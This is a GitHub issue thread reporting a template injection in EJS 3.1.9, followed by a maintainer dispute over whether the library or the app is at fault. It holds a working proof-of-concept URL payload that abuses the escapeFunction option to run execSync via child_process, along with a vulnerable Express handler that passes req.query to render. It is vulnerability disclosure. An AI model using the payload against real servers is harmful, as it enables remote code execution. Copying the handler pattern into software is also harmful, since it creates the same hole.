Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

EJS@3.1.9 has a server-side template injection vulnerability (Unfixed) #735

Closed
wh0amitz opened this issue May 29, 2023 · 5 comments
Closed

Comments

@wh0amitz
Copy link

EJS has a server-side template injection vulnerability. You have fixed some server-side template injection vulnerabilities recently, such as CVE-2022-29078, CVE-2023-29827. But there's one more that hasn't been fixed.

Test code

// index.js
const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/', (req,res) => {
    res.render('index', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Payload

http://127.0.0.1:3000/?name=John&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('calc');

image

Code Audit

In ejs.js, you filter out most of the string splicing from user-controllable parameters through _JS_IDENTIFIER.test(), such as several opts.outputFunctionName, opts.localsName, etc. that can also cause code execution :
image
But _JS_IDENTIFIER.test() ignores the escapeFn variable, a variable assigned from opts.escapeFunction, which can be controlled by the attacker to pass into the payload:
image
If opts.client is true, then escapeFn is spliced into the code:
image
Eventually it will be executed along with the anonymous function:
image

@tonchikk
Copy link

tonchikk commented Jun 1, 2023

Hmmm... I'm not sure it is a code/library issue, mostly it is looking like a monkey with grenade situation of developer.

Library is for templates, it is never pretended to be input validator for best practice guide from https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html :
"Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering malfunction of various downstream components."

Above sample code has such step missed and downstream component of EJS receiving unverified by developer input.

@tonchikk
Copy link

tonchikk commented Jun 1, 2023

Additionally https://cwe.mitre.org/data/definitions/74.html
Description
"The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component,"

Currently such construction done not in EJS itself (for example not by call like ejs.ConstructFromUserInput() or ejs.HandleExpress("/") ) but in sample code above, so such sample code is a product with vulnerability, not EJS itself.

@wh0amitz
Copy link
Author

wh0amitz commented Jun 1, 2023

Additionally https://cwe.mitre.org/data/definitions/74.html

Description

"The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component,"

Currently such construction done not in EJS itself (for example not by call like ejs.ConstructFromUserInput() or ejs.HandleExpress("/") ) but in sample code above, so such sample code is a product with vulnerability, not EJS itself.

Just like CVE-2023-29827, it may affect many users with special needs.

@tonchikk
Copy link

tonchikk commented Jun 1, 2023

Just like CVE-2023-29827, it may affect many users with special needs.

Linux vulnerable for data removal - attacker could gain access to application user and execute /bin/rm

@mde
Copy link
Owner

mde commented Jun 3, 2023

Please see the SECURITY.md. Never, never give users direct access to the EJS render function. EJS is effectively a JS runtime. Its entire purpose is to execute arbitrary strings of JS. If you don't sanitize inputs, you are responsible for the result.

In particular, no 'vulnerabilities' should be submitted with the following code block as the example:

app.get('/', (req,res) => {
    res.render('index', req.query);
})

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants